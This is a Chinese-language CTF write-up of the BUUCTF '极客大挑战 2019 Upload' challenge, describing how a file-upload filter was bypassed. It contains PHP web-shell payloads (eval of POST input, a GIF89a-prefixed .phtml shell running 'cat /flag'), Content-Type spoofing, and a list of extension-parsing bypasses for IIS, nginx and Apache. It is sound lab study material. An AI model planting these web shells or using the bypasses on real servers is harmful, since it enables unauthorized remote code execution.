[极客大挑战 2019]Upload_3.19BUUCTF练习day3(2)
[极客大挑战 2019]Upload_3.19BUUCTF练习day3(2)
打开靶场
将下面的一句话木马写入文件1.php
<?php phpinfo() @eval($_POST['cmd']);
上传后发现这个
- 可能有前端限制(在表单中使用onsumbit=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名)
前端限制绕过方法
- 通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查
- 将木马修改后缀名后上传,通过改包工具修改上传
- 如果是JS脚本检测,在本地浏览器客户端禁用JS即可,可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过
将文件名修改为1.png再次上传,用抓包软件抓包再次将文件名修改为1.php
再发送
- 还是被检测出来是php文件,那么就不单单是前端限制了,有服务端检查扩展名(就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传)这次应该是使用了黑名单检查的方法
服务端检查扩展名绕过方法
在一些Web server中,存在解析漏洞:
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
试一试还是不行
3.修改content-type
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的
.gif 或.png | image/gif(image/png) | GIF图形/PNG图片 |
---|---|---|
.jpeg或.jpg | image/jpeg | JPEG图形 |
绕过方法
使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。
之前就试过,不行
参考wp
利用的是每一个特定类型的文件都会有不太一样的开头或者标志位
这里是phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html 页面。(还有PHP代码的,如下面,但是在这里输入不行,表达意思一样的)
将下面的内容写入一个文件,并将文件名为1.phtml
GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
抓包修改content-type为image/jpg,放包出现下面的图片
终于好了💘
文件一般放入/upload下面
蚁剑连接
flag{867bab8c-8397-4f6e-9a0c-0cd5c427c364}